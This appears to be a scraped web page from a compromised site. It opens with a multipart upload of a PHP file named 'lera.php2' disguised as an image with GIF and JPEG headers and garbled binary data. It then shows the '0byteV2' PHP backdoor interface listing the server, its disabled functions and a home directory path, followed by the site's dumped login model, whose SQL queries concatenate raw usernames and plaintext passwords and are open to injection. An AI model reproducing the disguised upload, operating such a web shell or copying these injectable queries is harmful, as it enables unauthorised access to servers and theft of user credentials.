------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/models/
db->query('select * from admin_login where USER_NAME="'.$username.'" and ADMIN_PASSWORD="'.$password.'" and COMPANY_HRM_TYPE="'.$type.'" '); }elseif($type=2){ $query = $this->db->query("SELECT * FROM centers where email_id = '".$username."' AND password = '".$password."' AND status = 1"); }else{ return array('status' => 400,'message' => 'Invalid Login Credential'); } $result= $query->result(); //print_r($type); if(empty($result)){ return array('status' => 400,'message' => 'Invalid Login Credential'); } else { $last_login = date('Y-m-d H:i:s'); $token = crypt(substr( md5(rand()), 0, 7),rand()); $expired_at = date("Y-m-d H:i:s", strtotime('+12 hours')); $this->db->trans_start(); if($type==1){ $this->db->insert('users_authentication',array('HRM_ID' => $result[0]->ADMIN_ID,'TOKEN' => $token,'EXPIRED_AT' => $expired_at,'HRM_TYPE' => $type)); }else if($type==2){ $this->db->insert('users_authentication',array('HRM_ID' => $result[0]->id,'TOKEN' => $token,'EXPIRED_AT' => $expired_at,'HRM_TYPE' => $type)); } if ($this->db->trans_status() === FALSE){ $this->db->trans_rollback(); return array('status' => 500,'message' => 'Internal server error.'); } else { if($type==1){ $this->db->where('ADMIN_ID',$result[0]->ADMIN_ID)->update('admin_login',array('LAST_LOGIN' => $last_login)); $this->session->set_userdata('loginid',$result[0]->ADMIN_ID); $this->session->set_userdata('type','1'); /* for admin login */ $this->session->set_userdata('is_active','1'); $this->session->set_userdata('comp_id',$result[0]->COMPANY_ID); $this->session->set_userdata('firm_id',get_firms_by_company($result[0]->COMPANY_ID)); }elseif($type==2){ $this->db->where('USER_NAME',$result[0]->center_number)->update('admin_login',array('LAST_LOGIN' => $last_login)); $this->session->set_userdata('loginid',$result[0]->id); $this->session->set_userdata('type','2'); /* for admin login */ $this->session->set_userdata('is_active','1'); $this->session->set_userdata('comp_id',$result[0]->id); $this->session->set_userdata('firm_id',get_firms_by_company($result[0]->id)); }else{ $this->db->where('ADMIN_ID',$result[0]->ADMIN_ID)->update('admin_login',array('LAST_LOGIN' => $last_login)); $this->session->set_userdata('loginid',$result[0]->ADMIN_ID); $this->session->set_userdata('type','2'); /* for admin login */ $this->session->set_userdata('is_active','1'); $this->session->set_userdata('comp_id',$result[0]->COMPANY_ID); $this->session->set_userdata('firm_id',get_firms_by_company($result[0]->COMPANY_ID)); } // else if($type==3 || $type==4){ // $this->session->set_userdata('loginid',$result[0]->HRM_ID); // $this->session->set_userdata('type',$result[0]->COMPANY_ID); /* for member login */ // $this->session->set_userdata('is_active','1'); // $firmarr=get_comp_by_firm_id($result[0]->FIRM_ID); // $this->session->set_userdata('comp_id',$firmarr[0]->COMPANY_ID); // $this->session->set_userdata('firm_id',$result[0]->FIRM_ID); // $this->session->set_userdata('is_active','1'); // } $this->session->set_userdata('token',$token); $this->db->trans_commit(); if($type==1){ return array('status' => 200,'message' => 'ok','id' => $result[0]->ADMIN_ID, 'token' => $token); }else if($type==2){ return array('status' => 200,'message' => 'ok','id' => $result[0]->id, 'token' => $token); } } } } public function login_web($username,$password,$type) { if($type==3){ // unset($_SESSION); $query = $this->db->query('select * from students where email="'.$username.'" and password="'.$password.'"'); // die(var_dump('select * from user_registration where email="'.$username.'" and password="'.$password.'"')); }elseif($type==4){ // unset($_SESSION); $query = $this->db->query('select * from students where email="'.$username.'" and password="'.$password.'"'); // die(var_dump('select * from user_registration where email="'.$username.'" and password="'.$password.'"')); }elseif($type==5){ return array('status' => 400,'message' => 'Invalid Login Credential'); }else{ return array('status' => 400,'message' => 'Invalid Login Credential'); } $result= $query->result(); if(empty($result)){ return array('status' => 400,'message' => 'Invalid Login Credential'); } else { $last_login = date('Y-m-d H:i:s'); $token = crypt(substr( md5(rand()), 0, 7),rand()); $expired_at = date("Y-m-d H:i:s", strtotime('+12 hours')); $this->db->trans_start(); if($type==3){ $this->db->insert('users_authentication',array('HRM_ID' => $result[0]->id,'TOKEN' => $token,'EXPIRED_AT' => $expired_at,'HRM_TYPE' => $type)); }elseif($type==4){ $this->db->insert('users_authentication',array('HRM_ID' => $result[0]->id,'TOKEN' => $token,'EXPIRED_AT' => $expired_at,'HRM_TYPE' => $type)); } if ($this->db->trans_status() === FALSE){ $this->db->trans_rollback(); return array('status' => 500,'message' => 'Internal server error.'); } else { if($type==3){ $this->session->set_userdata('userid',$result[0]->id); $this->session->set_userdata('type','4'); /* for admin login */ $this->session->set_userdata('useractive','1'); }elseif($type==4){ $this->session->set_userdata('userid',$result[0]->id); $this->session->set_userdata('type','5'); /* for admin login */ $this->session->set_userdata('useractive','1'); } $this->session->set_userdata('token',$token); $this->db->trans_commit(); if($type==3){ return array('status' => 200,'message' => 'ok','id' => $result[0]->id, 'token' => $token); }elseif($type==4){ return array('status' => 200,'message' => 'ok','id' => $result[0]->id, 'token' => $token); } } } } public function get_shipping_list() { $this->load->database(); $this->db->select('create_shipping.*,shipping_details.*'); $this->db->from('create_shipping'); $this->db->join('shipping_details','create_shipping.SHIPPING_ID = shipping_details.CREATE_SHIPPING_ID','inner'); return $this->db->get(); } public function book_shipment_alert($alert =0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'PRE_20' where DATEDIFF(ship.DATE,CURDATE())<=20 and DATEDIFF(ship.DATE,CURDATE())>0 and stts.PRE_20 = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // echo $this->db->last_query(); exit(); // $this->load->database(); // $this->db->query("SELECT * FROM `create_shipping` AS ship inner JOIN shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID WHERE DATEDIFF(DATE, CURDATE())<=20 AND DATEDIFF(DATE,CURDATE())> 0 and stts.PRE_20 = 'off'"); } public function bring_container_in_fac_alert($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'PRE_10' where DATEDIFF(ship.DATE,CURDATE())<=10 and DATEDIFF(ship.DATE,CURDATE())>0 and stts.PRE_10 = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // echo $this->db->last_query(); exit(); } public function ask_debit_note_of_forwarder($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID AND timeline.TASK_NAME = 'POST_7' where DATEDIFF(CURDATE(),ship.DATE) = 7 and stts.POST_7 = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // $this->db->last_query(); exit(); } public function sent_docs_to_buyer_for_collection($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID AND timeline.TASK_NAME = 'POST_11' where DATEDIFF(CURDATE(),ship.DATE) = 11 and stts.POST_11 = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); } public function payment_receive_checkup_alert($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'POST_21_PAYMENT' where DATEDIFF(CURDATE(),ship.DATE) = 21 and stts.POST_21_PAYMENT = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); } public function make_brc_alert($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left JOIN shipping_details as details on ship.SHIPPING_ID = details.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'POST_3_BRC_MAKE' where DATEDIFF(CURDATE(),details.DBK_DATE) = 3 and stts.POST_3_BRC_MAKE = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // echo $this->db->last_query(); exit(); } public function brc_alert($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left JOIN shipping_details as details on ship.SHIPPING_ID = details.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'POST_14_BRC' where DATEDIFF(CURDATE(),details.BRC_SUBMIT_DATE) = 14 and stts.POST_14_BRC = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // echo $this->db->last_query(); exit(); } public function drawback_alert($alert=0) { $this->load->database(); $color= "SELECT *, MAX(timeline.ALERT_DATE) as latest_date from create_shipping as ship left join shipping_status as stts on ship.SHIPPING_ID = stts.CREATE_SHIPPING_ID left JOIN shipping_details as details on ship.SHIPPING_ID = details.CREATE_SHIPPING_ID left join alert_timeline as timeline on ship.SHIPPING_ID=timeline.CREATE_SHIPPING_ID and timeline.TASK_NAME = 'POST_7_BRC' where DATEDIFF(CURDATE(),details.BRC_SUBMIT_DATE) = 7 and stts.POST_7_BRC = 'off' GROUP by ship.SHIPPING_ID"; if($alert) $color.=" HAVING latest_date <= CURDATE() or latest_date is NULL"; return $this->db->query($color); // echo $this->db->last_query(); exit(); } public function get_shipping_status() { $this->load->database(); $this->db->select('create_shipping.*,shipping_status.*'); $this->db->from('create_shipping'); $this->db->join('shipping_status','create_shipping.SHIPPING_ID = shipping_status.CREATE_SHIPPING_ID','inner'); return $this->db->get(); } public function get_agent() { $this->load->database(); return $this->db->get('agent'); } public function logout() { $users_id = $this->input->get_request_header('User-ID', TRUE); $token = $this->input->get_request_header('Authorization', TRUE); $type = $this->input->get_request_header('type', TRUE); $this->db->where('HRM_ID',$users_id)->where('TOKEN',$token)->where('HRM_TYPE',$type)->delete('users_authentication'); return array('status' => 200,'message' => 'Successfully logout.'); } } ?>